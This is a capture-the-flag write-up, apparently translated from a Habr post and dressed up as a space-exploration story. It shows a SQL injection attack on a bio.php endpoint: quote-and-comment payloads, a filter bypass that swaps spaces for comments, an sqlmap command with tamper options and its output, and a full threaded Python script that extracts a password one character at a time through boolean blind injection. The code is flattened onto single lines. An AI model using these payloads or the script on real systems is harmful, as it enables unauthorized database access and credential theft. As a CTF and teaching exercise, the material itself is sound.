"SEARCHING FOR EARTH"
Having reached the ship of the expedition in distress, we did not find anyone there - apparently, the guys managed to get out. But where to look for them now? Theoretically, they could get to the planet Paradisos, the last of which we have not yet visited.
This planet is a heavenly place: a wonderful climate, friendly inhabitants who joyfully greeted us with flowers and strange fruits, funny music and a bunch of happy aliens of all familiar and unfamiliar races. Mini-hotels soaring in the air, billboards in various languages (including earthly English). We were solemnly escorted to a beautiful hotel, promising full assistance in finding members of the expedition and in sharing knowledge about our planets. We managed to find out that the guys really were here and even created their own website, on which each of them made records about space travel.
')
The site address has been preserved, but we only saw the names of four researchers there. It turned out that clever aliens are demanding money for access to complete information. Of course, we will not pay. Let's try to "hack"!
$("#DanielButton").click(function(){ $.ajax({url: "/bio/bio.php?name=Daniel", success: function(result){ $("#ScientistBio").html(result); $("#Avatar").show(); $("#Avatar").attr("src", "img/lava.png"); }}); });
name=Daniel'+or+1=1+--+1
Forbidden You don't have permission to access /bio/bio.php on this server.
name=Dan'+'i'+'el
name=Daniel'+or/**_**/1=1+--+1
sqlmap -u "http://IP_ADDRESS/bio/bio.php?name=*" --level=5 --risk=3 --tamper="space2morecomment" --prefix="-1%27%20" --suffix="%20--%201"
Parameter: #1* (URI) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: http://IP_ADDRESS:80/bio/bio.php?name=-1' OR 228=228 -- 1 Vector: OR [INFERENCE]
#!/usr/bin/python3 import requests from multiprocessing.dummy import Pool as ThreadPool import sys import subprocess import time pool = ThreadPool(101) pos = 1 passwd = '' def getSockCount(): proc = subprocess.Popen(['bash', '-c', 'ss | grep IP_ADDRESS | wc -l'], stdin=subprocess.PIPE, stdout=subprocess.PIPE) output = proc.communicate()[0] return int(output.decode()) # Send SQL Request def connect(sql): url = "http://IP_ADDRESS/bio/bio.php?name=-1' or/** **/(case/** **/when/** **/%s/** **/then/** **/1/** **/else/** **/0/** **/end)=1 -- 1" req = requests.get(url % sql.replace(' ', '/** **/')) if 'Hello! My name is' in req.text: return True return False def findColumns(item): if item.isdigit(): return sql = "%s>'0'" % item if connect(sql): print('Column: %s' % item) def getFieldValue(item): global passwd sql = "id=6 and substring(password,%d,1)='%s'" % (pos, item) if connect(sql): passwd += item alph = [chr(x) for x in range(ord('a'), ord('z') + 1)] + [chr(x) for x in range(ord('0'), ord('9') + 1)] + ['`', '~', '!', '@', '#', '$', '^', '&', '*', '(', ')', '_', '-', '+', '=', '[', ']', '{', '}', ';', ':', '\\', '|', '?', '/'] # Brute Columns if len(sys.argv) > 0: tables = open(sys.argv[1]).read().splitlines() chunk_size = max([len(x) for x in tables]) while True: pool.map(findColumns, tables) while getSockCount() > 2: time.sleep(1) # else: while True: pool.map(getFieldValue, alph) while getSockCount() > 2: time.sleep(1) pos += 1 print(passwd)
Source: https://habr.com/ru/post/323778/
All Articles